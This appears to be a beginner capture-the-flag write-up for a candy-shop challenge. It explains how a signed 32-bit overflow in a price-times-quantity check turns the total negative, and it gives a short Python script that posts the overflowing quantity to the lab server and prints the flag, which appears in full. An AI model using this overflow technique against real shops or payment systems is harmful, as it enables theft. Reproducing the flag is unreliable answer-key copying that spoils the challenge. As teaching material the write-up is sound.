Candy Shop Overflow signed 32-bit overflow flips an afford check

pwn
flag L3m0n{ce9a10a23c2e29a7a001d321d177f668}

A 100-point candy shop lesson. Buy enough lollipops and the "can you afford it" check flips itself off.

c
1int total = menu[choice - 1].price * qty;      /* 32-bit multiply */
2if (total > wallet) { puts("Not enough coins!"); continue; }
3wallet -= total;

Insight

wallet is a 64-bit long long starting at 100, but total is a plain 32-bit int. Lollipops cost 10 each, so buying qty = 214748365 of them computes 10 * 214748365 = 2,147,483,650 - which overflows signed 32-bit arithmetic and wraps around to -2,147,483,646. The guard total > wallet is now comparing wallet (100) against a negative number and passes trivially, and wallet -= total subtracts a negative

  • which adds about 2.1 billion coins instead of charging anything.
python
1import urllib.parse, urllib.request, http.cookiejar, re
2
3cj = http.cookiejar.CookieJar()
4op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
5
6def post(d):
7    body = urllib.parse.urlencode(d).encode()
8    return op.open(urllib.request.Request(
9        "https://beginner.l3m0nctf.xyz/lab/pwn/candy", data=body,
10        headers={"Content-Type": "application/x-www-form-urlencoded"})).read().decode()
11
12post({"item": "1", "qty": "214748365", "action": "buy"})     # overflow -> rich
13page = post({"item": "4", "qty": "1", "action": "buy"})      # The Golden Flag Bar
14print(re.findall(r"L3m0n\{[0-9a-f]{32}\}", page)[-1])

The shop prints its own working, which doubles as a sanity check:

output
int total = 10 * 214748365 = -2147483646   overflowed!
Bought 214748365 x Lollipop. Wallet is now 2147483746.

Buying item 4, the Golden Flag Bar, afterward gives:

output
L3m0n{ce9a10a23c2e29a7a001d321d177f668}

Note

The lesson's own hint nudges toward keeping qty itself inside a valid int range (<= 2147483647) - if the quantity wraps first, the multiply lands on a different, less useful number. The negative-total route above is the clean one. A more direct route also exists: pick a qty where (price * qty) mod 2^32 lands on a small positive value no bigger than the current wallet, and buy the flag item in a single step rather than two.